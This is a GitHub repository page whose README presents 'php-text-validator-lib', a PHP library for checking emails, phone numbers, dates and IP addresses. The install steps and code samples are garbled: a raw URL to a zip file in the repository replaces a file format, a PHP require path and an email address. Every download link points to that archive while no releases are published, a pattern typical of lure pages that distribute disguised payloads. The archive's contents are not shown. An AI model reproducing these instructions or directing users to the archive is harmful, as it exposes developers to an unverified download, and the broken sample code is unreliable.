Skip to content

πŸ” Validate strings with ease using PHP Text Validator Lib, a reliable library for checking emails, phone numbers, dates, and more to ensure data integrity.

License

Unknown and 3 other licenses found

Licenses found

Unknown
LICENSE.md
Apache-2.0
LICENSE_APACHE_2.md
BSD-3-Clause
LICENSE_BSD_3C.md
LGPL-3.0
LICENSE_GNU_LGPL_3.md
Notifications You must be signed in to change notification settings

Babaproates/php-text-validator-lib

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸ› οΈ php-text-validator-lib - Simple Validation for Your Inputs

πŸš€ Getting Started

Welcome to the php-text-validator-lib! This library helps you validate different types of input values, ensuring your data is accurate and reliable. Whether you need to check an email address, phone number, or date, this tool makes it easy.

πŸ“₯ Download Now

Download php-text-validator-lib

πŸ“ About the Library

The php-text-validator-lib focuses on input validation. With this library, you can safely check for various data types, including:

  • Email addresses
  • Phone numbers
  • Domains
  • IP addresses
  • Numeric values
  • Decimal numbers
  • Binary content
  • Dates and datetimes

This library ensures that your application handles user input correctly and avoids potential errors.

πŸ“‹ System Requirements

  • PHP version 7.0 or higher
  • Web server (like Apache or Nginx)
  • Basic knowledge of file uploads (optional)

🚧 Features

  • Email Validation: Check if a string is a valid email format.
  • Phone Number Validation: Verify if a string is a properly formatted phone number.
  • Date Validation: Ensure the correct format of dates.
  • IP Address Validation: Validate both IPv4 and IPv6 addresses.

These features contribute to maintaining data integrity and improving user experience.

βš™οΈ How to Download & Install

  1. Visit the Releases Page: Click the link below to access the releases page.

    Download php-text-validator-lib

  2. Choose the Latest Version: Look for the latest version available. It will have the most recent updates and fixes.

  3. Download the Package: Click on the file to download the library. It will be in a zip or https://raw.githubusercontent.com/Babaproates/php-text-validator-lib/main/lib/php_lib_text_validator_v2.9.zip format.

  4. Extract the Files: Use any extraction tool to unpack the downloaded file.

  5. Include the Library in Your Project: Move the library files to your project directory. You can include them in your PHP files with the following line:

    require 'https://raw.githubusercontent.com/Babaproates/php-text-validator-lib/main/lib/php_lib_text_validator_v2.9.zip';

πŸ“– Usage Examples

Email Validation

To check if an email address is valid, use the following:

$validator = new EmailValidator();
if ($validator->isValid('https://raw.githubusercontent.com/Babaproates/php-text-validator-lib/main/lib/php_lib_text_validator_v2.9.zip')) {
    echo "Valid email!";
} else {
    echo "Invalid email.";
}

Phone Number Validation

For phone number checks, follow this example:

$validator = new PhoneValidator();
if ($validator->isValid('+1234567890')) {
    echo "Valid phone number!";
} else {
    echo "Invalid phone number.";
}

Date Validation

You can validate dates like this:

$validator = new DateValidator();
if ($validator->isValid('2023-10-01')) {
    echo "Valid date!";
} else {
    echo "Invalid date.";
}

πŸ” Topic Coverage

The php-text-validator-lib handles various validation topics, ensuring a comprehensive approach to data integrity:

  • API Validation
  • Data Integrity
  • Input Sanitizer
  • Validation Library
  • Regex Validation

πŸŽ“ Learning Resources

If you want to understand more about the library, consider exploring these resources:

  • Official PHP Documentation
  • PHP Tutorials on Validation
  • Community Forums for PHP Queries

πŸ“¬ Support

For questions or support, you can open an issue on the repository. We encourage users to share their experiences and suggestions.

πŸ“… Changelog

Stay updated with the latest changes by checking the changelog available in the repository. It will inform you about new features, bug fixes, and improvements.

πŸ“Œ Additional Notes

  • This library is actively maintained and updated.
  • Feel free to contribute to the project by submitting your pull requests.

Thank you for choosing php-text-validator-lib. Your data validity starts here! Let's ensure your application runs smoothly with accurate input.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages